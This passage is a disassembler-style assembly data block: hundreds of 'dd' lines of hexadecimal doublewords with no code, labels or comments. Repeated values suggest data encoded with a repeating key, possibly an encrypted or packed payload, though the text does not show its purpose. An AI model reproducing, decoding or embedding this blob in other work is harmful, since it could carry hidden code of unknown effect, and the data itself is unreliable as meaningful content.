		dd 0C719C426h, 6017D29Ch, 0E2B691E9h, 236340EBh, 0B1785260h
		dd 0C0A81BB5h, 2992E6BAh, 74F01323h, 0A4C8354Ah, 3061A755h
		dd 3DBB7C8Eh, 0A8485FA3h, 9C1E5803h, 71E7CE0h, 631A84ECh
		dd 671770B5h, 36227C8Bh, 8DBB5331h, 0D410F60Fh,	1C18153Ah
		dd 23C55776h, 0D410F342h, 60515F10h, 0DD5FAAABh, 25B3E93Dh
		dd 0D1035C79h, 5A870D10h, 4B16BE03h
		dd 19685FF2h, 0ECF8CA86h, 0BEAB0A7Fh, 0C4A22F06h, 0AB2D8CF2h
		dd 0DB967711h, 94929FD7h, 6FBEFD35h, 0DA984F6Ch, 64501524h
		dd 8E2166E9h, 19F6EDCBh, 71A8B40Dh, 189751D4h, 0BEAB0B0Ah
		dd 2C593DB3h, 227A45AAh, 0A346935Bh, 4958BABEh,	1494B227h
		dd 6AC25EF0h, 0D3C51519h, 0E1CFD71Fh, 70ABF2BDh, 9977C0C1h
		dd 7793A45Eh, 6CBC4B4Eh, 19666EF7h, 248443EEh, 2EAA475Fh
		dd 15F263B2h, 0BCBDEC3Dh, 0C597064Ch, 6AAAC4D9h, 4B18AF9Eh
		dd 78A4E023h, 6355A814h, 0F7205804h, 6C2D22E0h,	0DD7FC9C2h
		dd 0E2F973Dh, 450855C1h, 5ACE792h, 0E2C34DC7h, 140D6C6Fh
		dd 951294B7h, 9584657Bh, 0DC9B7839h, 8BBBDB3Dh,	8254898Ch
		dd 1400E8DDh, 0D9F21F01h, 4706A0B8h, 0B93C0D04h, 4C1A853Bh
		dd 0A6AC2FB2h, 0AEF798A8h, 80610939h, 0D93A8F52h, 61408500h
		dd 62504DBEh, 0D26C39C0h, 58158223h, 49666D04h,	210F81F0h
		dd 98809865h, 0D2CACAD0h, 24AA8223h, 382459C5h,	921C69F8h
		dd 0B500574Fh, 53E544B3h, 5542F39Dh, 5F516205h,	280F3F37h
		dd 85BE267Ch, 0E5550992h, 0FB7D5EEBh, 6D1585A0h, 5CDF87BAh
		dd 4DF0616Fh, 3AC83E82h, 4EE95283h, 0E470D843h,	713FE03Fh
		dd 7C58DF96h, 0A5333407h, 784A9C35h, 91E05F4Ah,	5D994E3h
		dd 708AE76Fh, 0A8DE435Eh, 0D93675F3h, 0B0DF879Ch, 27C4001Bh
		dd 0BCBA2656h, 1A864F56h, 0A90F1D65h, 6778AB9Ah, 6BED5A89h
		dd 0A157C2D7h, 7289F723h, 0C4AF75DCh, 7F6161B9h, 338E631Fh
		dd 0A7399D61h, 338E644Dh, 0E4D5CB35h, 603DBC2Fh, 6000A753h
		dd 9B448C9Ch, 0D1C794A1h, 0AE003C70h, 71DEE603h, 0BABE6514h
		dd 0F39A826Ah, 6AE65F10h, 4864C1D8h, 9B448BA3h,	0B3ED26D6h
		dd 88E8620Fh, 15CF750Dh, 0F94D3EABh, 119DC0CAh,	0E7CC04ADh
		dd 28C20708h, 723AD734h, 0F61CD95h, 4182A676h, 0BFE03A4Ah
		dd 0A5239909h, 0E473F1F0h, 0B8515EEBh, 0B92989E7h, 6804B45Dh
		dd 0F11483C3h, 5DEC4BAAh, 0AA0D6F12h, 0C05CCC29h, 0CD6BB6DAh
		dd 7844E336h, 824F0723h, 7C62BAD2h, 0EDE05F49h,	5D2ABEFh
		dd 3074B9D9h, 0CF6CCA3Ah, 4673DEB1h, 50DE3B5Ah,	0DC9BD0E6h
		dd 169EE23Dh, 71F4DF1Ah, 5AFC8F0h, 5C184ECh, 0EFEEF81Ah
		dd 0D1BBDB4Ah, 4846939Bh, 0F91AE893h, 6E2B2592h, 7AEEC05Ch
		dd 6903B436h, 0DF07C94Eh, 31B6503Fh, 0DA97E509h, 84501524h
		dd 0A79CFD9Ah, 3FF95C55h, 4CDA375Ch, 0BEB24AB2h, 0D4C583A0h
		dd 0AC6A347Fh, 459D38CDh, 65E10962h, 3FBC46FCh,	1F8205CAh
		dd 0E2C2504Fh, 52DE0B54h, 60F03010h, 0F0C05BA6h, 19984F6Bh
		dd 25B3980Eh, 0DF647884h, 0D2BCE1EEh, 0BD4AEC0Ah, 0C424CEF6h
		dd 0AE6BA5A8h, 0E31BDF00h, 6125CC3Dh, 0E6D37C6Bh, 5445D639h
		dd 6B8204FFh, 2867AE25h, 563C343h, 50DD84ECh, 0C39F244Eh
		dd 0D16939DEh, 0AE1E5707h, 48570F31h, 0F4137E04h, 0BCBDF294h
		dd 23D64615h, 7A7E9C80h, 0B7E1332Bh, 0F3EB712h,	4D1C6B49h
		dd 0C4A4168Ah, 1CD5F8D6h, 94F97273h, 9683A377h,	2615DE3h
		dd 0F444EB6h, 8A664849h, 797A2CD5h, 2E86C6F1h, 0A064C3D2h
		dd 7AADF0E5h, 50BB12AFh, 0C1487D91h, 0CECE121Dh, 0F413E331h
		dd 0C82E8D94h, 395F95F2h, 690F4DF3h, 5B656B1h, 1E513A5Eh
		dd 0DD6F649h, 0C5C2AFCh, 2CA28F5Eh, 0D5BE1385h,	6618701Eh
		dd 4F49868Ch, 0E2C3463Fh, 877898EBh, 4137E436h,	0B2E63BCBh
		dd 0A696CC2Fh, 0FAFE1AF8h, 0EFA99984h, 631DCAEBh, 0D4CC5BC0h
		dd 0EB75A68Fh, 20D84557h, 2A71C21Ch, 0E2B7237Fh, 71B95EEBh
		dd 0E7D3C572h, 0FED6A280h, 649B12D0h, 0E2C28CC4h, 0E7D3C5EBh
		dd 0FED6A280h, 17D69BB2h, 0E8396CAEh, 0E2C25EEEh, 0E2B6741Ah
		dd 2FBB5EEBh, 0D771C390h, 6256B68Fh, 0FDEA9966h, 64A76164h
		dd 394BA050h, 0E6D00F68h, 19626E1Ah, 8171505Dh,	0E7CAC578h
		dd 65D66BB2h, 0FCB66AEFh, 0C6B2CF79h, 35C945Bh,	153A8DB9h
		dd 0CB7CA058h, 8BD01031h, 633A7355h, 63F73450h,	0EA77CADCh
		dd 6B232922h, 4D1F867Dh, 0B2D6B3Fh, 0E7FDCDCAh,	63C25EEBh
		dd 0E2C28CAAh, 0C60A11EBh, 0C6020D76h, 64A3F764h, 0E2C28C55h
		dd 0E784C5EBh, 0FED67A80h, 0DCB1C392h, 494342EBh, 0F8C2DD86h
		dd 0F28B30F4h, 0E53C375Fh, 0F5A25FAEh, 2C15A0B8h, 6F4A8DCFh
		dd 112E2238h, 733A16C5h, 0A94C12D9h, 50E2F4BBh,	1BF3236Ah
		dd 78E24F3Dh, 0E4EA11C5h, 4B1B0182h, 0C53CA034h, 61E37EC4h
		dd 5E283352h, 0E40AACDh, 2A33F449h, 0E2C25F01h,	0DEBD07C3h
		dd 2B418EA5h, 0E2C25F26h, 2204FADEh, 20474B16h,	0C482BE6Ah
		dd 0A6D5587Ch, 4E1DB3E6h, 2A26AA98h, 0E2C25EEAh, 0A5EF7B59h
		dd 8139E5E4h, 12CC09FAh, 107ECF7Dh, 0C8C25F1Ch,	9E9E96A8h
		dd 0E2C283C2h, 63125FA2h, 0ACC18C55h, 0D0D6C32Fh, 0EAC25EEBh
		dd 0C8E9C071h, 10372915h, 0E3AF73F7h, 0E2B90938h, 766F5EEBh
		dd 0A9C9CF7Dh, 63D98E66h, 2559F78Eh, 1D1D019h, 0D23F86ACh
		dd 0E2C34DB2h, 0B2CBCEBh, 0D7D1BF23h, 80C25EEBh, 0F1C4B1B6h
		dd 1F2224AEh, 0CD45666Bh, 47E5D802h, 4599F37h, 0C8B6666Dh
		dd 0EE3839A4h, 59BD7A95h, 4EC35EECh, 5707A89Bh,	8119DAFBh
		dd 57E24B7Ch, 7	dup(57EEDAFBh),	57151698h, 2F4342FBh, 39F1DE04h
		dd 0E0EEE7B4h, 404BAE9Fh, 0F2510E95h, 0B13542FBh, 65F1DE02h
		dd 0C4EEE7B3h, 0CC6909A9h, 0BA3ED7ACh, 49CAF1F8h, 92D6BA35h
		dd 709E9622h, 6DDF5034h, 0F9015918h, 25773E49h,	2FA45140h
		dd 0F78D60D7h, 51E228BAh, 9A324BE9h, 2CE566E8h,	3119CAD5h
		dd 9C4C9C5Eh, 609F1F20h, 62991C6Dh, 83DA46ABh, 6DDF4F66h
		dd 74EF6790h, 9B4ECBD1h, 51EBED82h, 0EBB9D317h,	51EBEDE8h
		dd 0FC312539h, 73A99903h, 9EFF45EEh, 0D0B4E9C6h, 23CD1991h
		dd 57F9A9E0h, 0F6A87C3Ch, 57EEE087h, 734AEFFBh,	394CA1D3h
		dd 51ECC0E2h, 8EC9EDB9h, 68B63E94h, 462D3A2Dh, 0A54312B5h
		dd 13361485h, 0D9BEF683h, 238A3BFFh, 4FD33E5Ah,	0B6922E45h
		dd 0D96E14F2h, 6060E458h, 0C63655A2h, 37724CD3h, 0AF55773Ch
		dd 6182CE3Eh, 0B409ABAFh, 65C814FDh, 2FB2EF1Fh,	819B1CDDh
		dd 2676F952h, 20C4D199h, 1ABC9057h, 0E767EF61h,	22F77E2h
		dd 0B55D383Bh, 534EC313h, 570E627Ah, 4D1D6CFBh,	3AEB777Eh
		dd 0C8E26141h, 11017470h, 0FD083631h, 0E4125C2Dh, 7173D9F1h
		dd 0DEBAB941h, 0E9ABCBD3h, 0BEAAB2E9h, 8359BCC1h, 0A4A514FBh
		dd 6D75610h, 83CB2100h,	0E7814FBh, 0DB88DC92h, 0B7E2C34Eh
		dd 0C3F6B984h, 0A95E4F30h, 0BB56F101h, 9C4542C0h, 0D774F07Ch
		dd 62F3840Fh, 7AF28734h, 51E976D9h, 3E203449h, 6E167037h
		dd 0BED5A0Dh, 97EEDAFAh, 9F047F80h, 4D0F4616h, 3DB76030h
		dd 7473D7Ah, 651B4FA9h,	0D96DF910h, 8652DEC0h, 9185EFA0h
		dd 7B94BDB6h, 83B0F969h, 51E966E5h, 0D8EDB8A5h,	7D0AAD8Eh
		dd 51E9690Eh, 55EFD36Ch, 8A733FC2h, 27CAF4AEh, 83A62C92h
		dd 0C88214FBh, 60825AE5h, 507C20B4h, 27EEDAE5h,	0B8954445h
		dd 80AC0583h, 511344C3h, 3AEB7B72h, 8E22A841h, 4089E41Ch
		dd 4DE65531h, 197B7779h, 21A903BFh, 52D93642h, 0D8BCF7EDh
		dd 0BE0F40Fh, 527B9C67h, 0D602F7EDh, 95CB52ACh,	0C29B32B9h
		dd 51EBF59Ah, 0E14C4BE3h, 0C64713FEh, 6D95039Ah, 0B60AFE66h
		dd 58C6B224h, 0D958DAFBh, 294C788Eh, 0EBD6FD81h, 740CE15Bh
		dd 51ECBA64h, 3FDAD0D6h, 0D16B72CEh, 6B2359FEh,	0CD89Ch
		dd 779CF0CCh, 0A3489EDFh
		dd 0F84E181Bh, 96779367h, 1C9D4748h, 0F71E4EDh,	92D6D62Ch
		dd 7E46AF25h, 1E321C69h, 0BBD20C6h, 0D8EEDB00h,	4CEBF5A0h
		dd 822B056Bh, 0F5658096h, 0DA09257Ah, 0C67F1F95h, 97B5A0A4h
		dd 0CD5FD052h, 84E99C5Dh, 8ED6FD6Fh, 2C33AC11h,	8510CAD5h
		dd 97C7238Eh, 553CD3BFh, 0A01FEB40h, 7AE99534h,	0AAAADDDh
		dd 0D4B9A94Dh, 7FD6FD80h, 1E51F770h, 0E33354A2h, 6FDF1DFCh
		dd 0A02C3122h, 0DBDF5F34h, 0A37CBE4Eh, 0F4066718h, 336B29CCh
		dd 0CAD3F399h, 0A149F009h, 0C6D00834h, 4B0CD4B9h, 87D6FEBAh
		dd 472D2508h, 0FEF77C3Fh, 0A0283EFDh, 93513634h, 0B9E45F30h
		dd 0B390F7FBh, 0BAFFD5E0h, 1E6F06C3h, 51ED8FB3h, 0ED5ACAFCh
		dd 56C7E68Ah, 0CEF240FEh, 52F35C4Fh, 5E5E8BF1h,	0C3D277EDh
		dd 6E233895h, 0A7C8D3A2h, 0D3EEDAFFh, 0DCA4B8FEh, 4AAED54Ah
		dd 99FB9904h, 0A10A6A24h, 7F0F4612h, 0FDAF3C64h, 6ACA4924h
		dd 0B5C730D9h, 0BF70018Fh, 0C7BD52E1h, 51E22BA5h, 39A8F8F9h
		dd 0D0C2FF1Dh, 0F090016Fh, 0BB428BF7h, 34E765DAh, 0A11BCB1Ch
		dd 1302B534h, 658CF093h, 0DA087F7Bh, 0D1E7573h,	0E6ED6344h
		dd 1E7E5D17h, 1D2A06F4h, 2904ACC3h, 6C7322B8h, 270BF4FFh
		dd 6AD07E9Fh, 6063B8BEh, 4D19C6DBh, 509C91F9h, 0CE7AB66Fh
		dd 0D86114F3h, 3280E6A0h, 271FCDA9h, 2BE4B140h,	400BF500h
		dd 6C422A77h, 0C05E38C3h, 3C5BB65Bh, 0B7A2F7EEh, 58358E8Fh
		dd 0D82CDAFBh, 56E1878Eh, 57B65ACDh, 32906D8Fh,	333015Dh
		dd 0DF7D19h, 0DF4F14FDh, 29718F68h, 8282A14Fh, 0AC291D1Ch
		dd 26934232h, 6D0CDB06h, 1DEE861Bh, 6A433933h, 51E9BCA7h
		dd 56EF2CF8h, 0C445E425h, 100A741Eh, 845CDEC4h,	0B999D87Eh
		dd 0D2313ABFh, 93FAA3BFh, 9AF90D30h, 2EF17EA3h,	0B6A01593h
		dd 8E9FFCF2h, 0FA539AC2h, 94CD07EBh, 3B6CBBA4h,	9397A8EAh
		dd 0A9E9B542h, 50CA12Fh, 0F6625225h, 5E6FB171h,	2E3E964Bh
		dd 692B6824h, 13983515h, 0A47885F6h, 73AC0383h,	3BA2B35Ch
		dd 79EEDAFCh, 0D414AAA5h, 0CBF87B7Fh, 7ECAE609h, 2C438A53h
		dd 47374E22h, 0BBEEE74Dh, 6C7E5618h, 0DBB5CFEEh, 11267E4Bh
		dd 0E04316DFh, 57E23C87h, 8DAAC978h, 0FD74C277h, 57EEDB50h
		dd 5715AA80h, 4493DAFBh, 449144E0h, 5E914EE0h, 5715A365h
		dd 669DAFBh, 57EEDB51h,	74AE197Eh, 4BAE2178h, 0F2373A2h
		dd 0E44D47F3h, 0FC89ECD8h, 0D4514350h, 9C91DAFCh, 9B1563DEh
		dd 0C26A35FEh, 0C0EED56Dh, 7F5DED2Bh, 9CA5D5F3h, 3D556E85h
		dd 56EEDAFCh, 0D9C8EA04h, 57EECA10h, 0FAE3A7FBh, 85EAD5EDh
		dd 8AA910DCh, 0E9D3ED91h, 0F2707A2h, 5855C9F3h,	67357DA0h
		dd 0BAA3B711h, 0A4701C36h, 0F8AEF7FFh, 1100BEEEh, 83FF7385h
		dd 9AD34D2Ah, 0D5C0FBFAh, 17013716h, 95F4D31Ah,	7F1739F2h
		dd 6007178Fh, 3E746CCh,	0D90F94D4h, 3D7F32h, 2F30C814h
		dd 90384319h, 459E5993h, 0A4584E1Fh, 7B81D1D6h,	0E4704B61h
		dd 3CD97121h, 6282ED48h, 0A7A0FB0Ch, 0A1209666h, 0ACD36F67h
		dd 864AD236h, 5AD9CB94h, 0F75C8BFEh, 0DD16D5B8h, 0E55CD371h
		dd 3F23F875h, 60A4D61Eh, 57EEDAFFh, 734E52DBh, 3CAE3978h
		dd 3CAE097Dh, 57EED8D9h, 0D54F1025h, 0ABDA9FC3h, 0B096611Fh
		dd 8D949EABh, 87DA8A2Bh, 0E1EED61Dh, 3BEA0CEAh,	37EEDAFCh
		dd 0C1BFA10Eh, 0D815E963h, 5014EA90h, 99EEDAFBh, 0A788A074h
		dd 4B415405h, 35A063BEh, 57EEDE4Dh, 0BC11DAFBh,	3F23F9DCh
		dd 9CD5B3EBh, 0BEDBDE4Fh, 57EEDAF6h, 57EEE198h,	0B63F67FBh
		dd 56EEDE5Fh, 6805EE89h, 0E9E244F3h, 57EECA92h,	0FBBEFAFBh
		dd 9CC55686h, 9CD55FFEh, 57E90DFEh, 0FB981CFBh,	0E0D103Eh
		dd 4DF145DDh, 0CD91DE50h, 3F190661h, 57E20C95h,	0FB774DFBh
		dd 0A1A775EEh, 754D264Eh, 586F0475h, 58C493E6h,	188FDE50h
		dd 0F14CEF97h, 760E02E8h, 0EB9131BEh, 4D0AB37h,	0F23CCDACh
		dd 15650F1Ah, 7C0B7203h, 4A7752D9h, 0B8B56D94h,	58FFA37Fh
		dd 2076C1A8h, 59DD8286h, 9065F64Ah, 0F420B08Bh,	0E71FB81Ah
		dd 0A300E7C2h, 0C20408DFh, 0C3EC4EB1h, 0E71FA1B1h, 0A3DC78C2h
		dd 0C8DDACDFh, 3E297E96h, 77445DCFh, 0EA3058Ch,	8029E2EDh
		dd 763A9232h, 0E7FA828Ch, 801A10C2h, 7746B632h,	0E71FC68Ch
		dd 0BBABD4C2h, 0D81FC7BDh, 0E71FBD3Dh, 1EA306C2h, 4829E355h
		dd 773ADD62h, 0F620B08Ch, 0E71FB81Ah, 0A3FAE7C2h, 0C2140945h
		dd 0C3EC4EB1h, 0E71FCCB1h, 0A3D68EC2h, 4AAF15BBh, 0F33AD03Eh
		dd 3221482Ah, 0C057AFC3h, 0DED9C6EFh, 0E71FC7B7h, 696C5EA2h
		dd 0E44B6B4Bh, 0E44B7B33h, 0E71FB89Fh, 316D46C8h, 9D1631h
		dd 316888D5h, 281CF05Bh, 6F9BC7C3h, 0A14CC42h, 0F08499ACh
		dd 0D167F3EBh, 0D09348EDh, 0BC3F3A4Bh, 0D700B9C2h, 0E71F9036h
		dd 0C2AED4C2h, 91FC7BDh, 2D83F4Ah, 322CC6EDh, 0C052D247h
		dd 0D3350674h, 0AA9056FFh, 45A0843Ch, 95971831h, 558A9C5Ah
		dd 0D99AD609h, 6629B3B9h, 46889E02h, 0A47AF13Bh, 6F81E1A2h
		dd 0A2C97D4Dh, 298B0DD5h, 155C2486h, 8C7D6F28h,	8C251012h
		dd 72DDD287h, 3D82C43h,	4BDC799Ah, 0CB27B288h, 8C7DD314h
		dd 8C7DC23Fh, 0CD29D887h, 578A6535h, 1F0F88E6h,	737DD3A2h
		dd 8C7DCFA0h, 8C7CEA87h, 8C7C5312h, 8C94D287h, 8C7CEA87h
		dd 8C294E12h, 7C80D287h, 0AD7DD288h, 8910530Fh,	0F58F70B0h
		dd 0D682000Ah, 8C82E15Ch, 74A5B787h, 737DD288h,	8C7DCEA0h
		dd 4BDDB287h, 9279B788h, 157DD287h, 8C7DD31Ah, 0F26166A0h
		dd 5C0CD848h, 737DD4AAh, 8C7DA4A0h, 8C2B2187h, 1195D287h
		dd 0ABF820Dh, 512DE901h, 0AC7DD3F8h, 8C7DC724h,	5E0AFF87h
		dd 585B9B82h, 0B6906604h, 8C7D9AB7h, 8C1E3812h,	0CBDDD287h
		dd 1AFD823Bh, 8C36AFC3h, 8C7D1012h, 8C94D287h, 4D8B287h
		dd 0CEB6B58Fh, 8C7D9AA4h, 0AC7DD2CFh, 8C7D9024h, 42E77887h
		dd 0DBEB1246h, 0AC7DD3A4h, 8C033912h, 0CCFDD287h, 7585B30Dh
		dd 0F87DD288h, 24B0A12Ah, 29BBB4D7h, 0ACDC9AAEh, 0CA22D287h
		dd 8C7DD268h, 8C7DB924h, 4CFF4D87h, 0DA006DD0h,	42FB9BD1h
		dd 8C58697Dh, 907EB787h, 157DD287h, 8C7DD320h, 1C4EC83Fh
		dd 8C20B9DAh, 8DACB787h, 0B97DD287h, 4C8853ACh,	0AD762813h
		dd 7394D287h, 8C7DB893h, 4AFDB787h, 737DD288h, 8C7DD499h
		dd 157DD287h, 8C7DD317h, 9A38BF5h, 0DCD7B8CFh, 0B1FECE96h
		dd 93A6F232h, 8CF2DE92h, 8C224E12h, 7380D287h, 477DD288h
		dd 977F58BCh, 6432C33Ch, 0EECFF819h, 8C36250Bh,	8C2D22A7h
		dd 3259D287h, 6FEED001h, 535EA913h, 581B216Ah, 15FDAA36h
		dd 8C7DD286h, 0B2FE8B75h, 8C7D998Bh, 8C7DCE24h,	81430687h
		dd 5661FBEEh, 1A8A35CBh, 8C7D8198h, 8C235512h, 72DDD287h
		dd 8C7DD3F4h, 0AC156087h, 8E79B8A7h, 0AC7DD287h, 0CFABB1ACh
		dd 157DD3A6h, 8C7DD311h, 55055308h, 0FAB2892Ah,	3BDE9916h
		dd 25513145h, 0E34009B7h, 9DDD30Dh, 0CB090B35h,	4B18E5EBh
		dd 8C7CF688h, 8C7D9024h, 3CCEC387h, 9CCF9561h, 7E80D287h
		dd 917DD288h, 0E546251h, 0DA743FFCh, 78D5221Ah,	81D54315h
		dd 4B85B454h, 0AD7DD288h, 0EA328ECCh, 4B17FC13h, 8C212188h
		dd 8212D287h, 25CCDECBh, 748B318Ch, 8C2CC4E0h, 8C242187h
		dd 0A40FD287h, 0F26A57DCh, 9ABF0FFDh, 8C31D287h, 747EB787h
		dd 737DD288h, 8C7DCE06h, 4BDDB287h, 8CF82188h, 316D287h
		dd 0FFD621EAh, 7F80D30Dh
		dd 3D7DD288h, 586FC0D4h, 6A9C26A0h, 873A5A9Ch, 0CAFBA94Eh
		dd 7F8492ACh, 1D7DD288h, 0ACB60AEEh, 24BAD194h,	0FD1C1E49h
		dd 0AF2906D2h, 8C7D11D6h, 8C7DA524h, 0BA95C187h, 4CF6C8ACh
		dd 3F728B96h, 0D3314D74h, 4BFACFACh, 8D9FB788h,	0C57DD287h
		dd 8C30D30Ch, 82FBB787h, 737DD288h, 8C7DCC93h, 8C332187h
		dd 8AA1D287h, 84F30F1Eh, 85E5E977h, 0FC923F70h,	24829274h
		dd 0AC7DD325h, 8C2C1757h, 0E927D287h, 93B2E729h, 92A304ADh
		dd 7F84D91Ah, 31B20548h, 0F6D7646Fh, 4BDD4CEBh,	0A5FDB788h
		dd 0AC7DD287h, 8C7DC724h, 1BFD6487h, 5AC37C6h, 0FC43F5E9h
		dd 7D883CDBh, 0AD273F05h, 23AA2BA7h, 0FEC9B827h, 0AC7DD3A6h
		dd 8C7DB83Fh, 57E1687h,	0A2EB22BFh, 12B343AFh, 0DC876FE9h
		dd 507428A5h, 0BAABB06Ah, 737DD3A1h, 8C7DB68Dh,	630FB287h
		dd 8C364713h, 4B18D287h, 0BAB6B288h, 7AA5D552h,	157DD288h
		dd 8C7DD312h, 62193909h, 0BC042A65h, 0E8F28C7Dh, 0BF8B7BDh
		dd 0E269A38h, 8C7DD285h, 8C7C3A12h, 0ACDDD287h,	1022D287h
		dd 8C7DD287h, 8C7D9AA7h, 8C1E3B12h, 0F322D287h,	8C7DD287h
		dd 8C7D9AA7h, 8FA2B8A7h, 737DD287h, 8BA3C80Bh, 737DD3A1h
		dd 8C7D8AF4h, 0F6D8B287h, 8C7D9D28h, 8C7DA524h,	66361A87h
		dd 84283113h, 918D0863h, 6F8D23Dh, 8CC00777h, 3A16B287h
		dd 5B269AA4h, 8C7D9D2Ch, 0B2FDB1A7h, 0C3DC9A22h, 8C94D30Ch
		dd 1027B287h, 8C7DD286h, 602CA809h, 0F27B45Ch, 8C7DD30Dh
		dd 0D9EE228Ch, 0ACDC5FC5h, 8C35D287h, 9079B787h, 737DD287h
		dd 8C7DBA9Bh, 8CACB787h, 8C7DD287h, 0F6D8B287h,	0AD6B3745h
		dd 0C22D287h, 8C7DD271h, 0CF683AA7h, 0EA2B8C8Ch, 4BDD279Eh
		dd 8C1A2188h, 80D5D287h, 0EC6FFA4Bh, 0C6B969FCh, 8C7DB0C2h
		dd 8C7DA424h, 0CD3D7D87h, 0FEE55E79h, 39186767h, 0D7E0CCE7h
		dd 3C244FE2h, 4B80D285h, 0F17DD288h, 0E25FBD64h, 8C7D6797h
		dd 8C2C4E12h, 9180D287h, 0C47DD287h, 0BD0E225Eh, 0F9E27489h
		dd 26866FF2h, 9080D30Dh, 5F7DD287h, 0BD1B5D61h,	87514D00h
		dd 4B09018Bh, 8C363188h, 8C294212h, 0F5DDD287h,	8C1A2239h
		dd 2DDFD287h, 0FA7AE6BDh, 6A3DE7B2h, 72DD47F2h,	8C7DD502h
		dd 8C242187h, 7B04D287h, 0A989B906h, 9652C87Fh,	14DDD287h
		dd 8C7DD31Dh, 6DD630ADh, 0ADECA995h, 9818F7BCh,	9EBA930Ah
		dd 2DFDB3ACh, 0A1237A4Dh, 0CB992DA5h, 737DD3A6h, 8C7DCF93h
		dd 8C363187h, 8C2C4212h, 0C22D287h, 8C7DD31Ah, 8C7D9024h
		dd 0A260E987h, 548A94DCh, 72DDD30Dh, 8C7DB99Ch,	8CF82187h
		dd 1B8ED287h, 0DEB21C43h, 0AD6D3CA5h, 6922D287h, 8C7DCDD5h
		dd 8C2B22A7h, 9018D287h, 25BC602Dh, 0A6EEEAE9h,	9F5C4FC5h
		dd 0AD04DF20h, 8C35D287h, 7F9FB787h, 737DD288h,	8C7DD39Bh
		dd 8C1E2187h, 0FA5D287h, 8BC2562Dh, 8C7D9E8Ch, 4AB8B8A7h
		dd 737DD288h, 8C7DD3F4h, 8C271A87h, 8D49D287h, 0E5521EB5h
		dd 5A4996B7h, 0ABCE4A81h, 0B4AA9A59h, 8C349969h, 8C363187h
		dd 8C7DA524h, 80744C87h, 0D703EF55h, 9F843D6Eh,	0D09CC207h
		dd 4B017FDBh, 7485B288h, 0A87DD288h, 9B16197Ch,	5F9E0722h
		dd 8C7D9AB6h, 8C7D8624h, 0D475B187h, 8C7CEC87h,	0E99FB8A7h
		dd 0EA7DD287h, 0C983198Ch, 518D3ABBh, 8C7D9A1Eh, 8C36AF24h
		dd 95236D87h, 15529CDBh, 1089DF0Bh, 0A4AC1921h,	0EEC9EFD2h
		dd 157DD311h, 8C7DD26Ch, 8927A39Eh, 5DADEFACh, 50003D07h
		dd 0F26E8DFEh, 15F44321h, 8C7DD31Ah, 0CE170120h, 7770C662h
		dd 0C47DD32Dh, 8C35D30Ch, 759FB787h, 0AC7DD288h, 0D86E2DA5h
		dd 0AD2E3CBBh, 6D8B3A7h, 737E252Dh, 0E7DD288h, 532391C7h
		dd 1D547774h, 0C34BA2ADh, 0AC1006EEh, 4B18CE35h, 8C202188h
		dd 3629D287h, 66F3D9A7h, 7967E09Dh, 0BCA956B7h,	9DDD30Ch
		dd 3D53CD8Dh, 0AC9F2BABh, 0F227B3ACh, 8C7DD281h, 0FE1D72A5h
		dd 8C205414h, 7480D287h, 787DD288h, 0C053251Fh,	0ADEC3A68h
		dd 0F322D287h, 8C7DD31Ch, 8C7C5512h, 7330D287h,	8C7DCF06h
		dd 8C7CF587h, 8C7DBB24h, 7B9EF687h, 78ED89C5h, 0AC7DD286h
		dd 7E84F335h, 8D7DD288h, 0AD1FA7F8h, 21147650h,	47C1ED90h
		dd 0A3799A6Fh, 82E5459h, 8C7D996Fh, 8C7DC724h, 78EDD587h
		dd 0A228771Dh, 0B62F6DE1h, 0B97DCE46h, 0CBDDD30Ch, 0CDDE942h
		dd 25654D5h, 16FDB11Eh,	0ACDD3C30h, 8C31D287h, 767FF687h
		dd 0B87DD288h, 0A448AC67h, 0F570925Ch, 0AC7DD30Fh, 0E985E59Eh
		dd 0D67DD287h, 6FF35977h, 7785B3A2h, 977DD288h,	3DDDC374h
		dd 0C673F1A8h, 0F6D7D2C5h, 8C7D9D28h, 8C271BA7h, 0A41CD287h
		dd 0BAA5F8h, 0D297097Dh, 0BF8C78C5h, 8CF9174Eh,	0FDC9D287h
		dd 663191F3h, 157DD3ADh, 8C7DD31Ah, 6CB937B4h, 0F69BC068h
		dd 0E3ABADDCh, 0AD732814h, 0B8DDD287h, 0AC1563ACh, 8C2722ACh
		dd 8C82D287h, 25D7516Eh, 0E61AA69Eh, 394846F0h,	0AC7DD30Ch
		dd 2FDDDD8Ch, 91846B23h, 2A7DD287h, 0CC4C3B21h,	78EBD3EEh
		dd 0F17ED1B0h, 737DD3A6h, 8C7DBA99h, 1CABB287h,	4BDD3AFDh
		dd 92A2B788h, 0AC7DD287h, 0CF6F048Ch, 0F222C4A7h, 8C7DD30Dh
		dd 737DD3ACh, 8C7DCF05h, 8C7CF687h, 207DD330h, 14DDD30Dh
		dd 8C7DD26Ch, 0BFE1746Fh, 7FA9587Fh, 4BA2452Dh,	0C889C89Ch
		dd 3D290DA3h, 8C7DC23Dh, 0E1363987h, 2EDE4F8Ch,	661506D9h
		dd 8C3632ADh, 8C222174h, 0DC1DD287h, 0EF553982h, 7569938Bh
		dd 2B83579Dh, 0C2338FE4h, 8C7D72D6h, 8C224E12h,	0D22D287h
		dd 8C7DD314h, 8C7DC224h, 2F624D87h, 50C7EACCh, 8C7CEEA0h
		dd 1C6AB8A7h, 4B17FEF4h, 8C7CEA88h, 8C7DBC24h, 831AFB87h
		dd 4368D8C4h, 0E93123EFh, 8C1E1BA7h, 3583D287h,	981A56F5h
		dd 6631D373h, 0AD863CA6h, 13DDD287h, 8C7DD286h,	45920481h
		dd 0D2AA9A63h, 0B432B815h, 0AC7DD3A1h, 8CF84E12h, 0F22D287h
		dd 8C7DD30Dh, 4B180F9Eh, 8CF82188h, 5F5DD287h, 35A04A98h
		dd 9180D285h, 8F7DD287h, 0E783F116h, 3F3948B2h,	99137AB6h
		dd 157DD2CFh, 8C7DD313h, 4322471Bh, 13A20C7Ch, 0A5A6F95Fh
		dd 8C7D7FD4h, 8C7DC724h, 0F31AE587h, 9AF05FCFh,	0C6D93C6Fh
		dd 157DD312h, 8C7DD313h, 5F0063F9h, 0ED83FE8Ah,	40409334h
		dd 8C7D00CEh, 8D4E4212h, 9DDD287h, 15460690h, 8C7DD319h
		dd 0D1A06849h, 0B4543FC9h, 0E5D955B8h, 8C7D9AA4h, 8C1F2163h
		dd 8146D287h, 9D6B9270h, 0B97DD492h, 7F80D30Ch,	7C7DD288h
		dd 246524A6h, 73D49E03h, 3303C173h, 44522A5Dh, 8C7D7599h
		dd 8C7DD124h, 0B1F21A87h, 8CF041E9h, 0E70B287h,	0EA7AF01Eh
		dd 4BDD299Eh, 8C252188h, 2A34D287h, 0A12BE3BCh,	0AC971EB6h
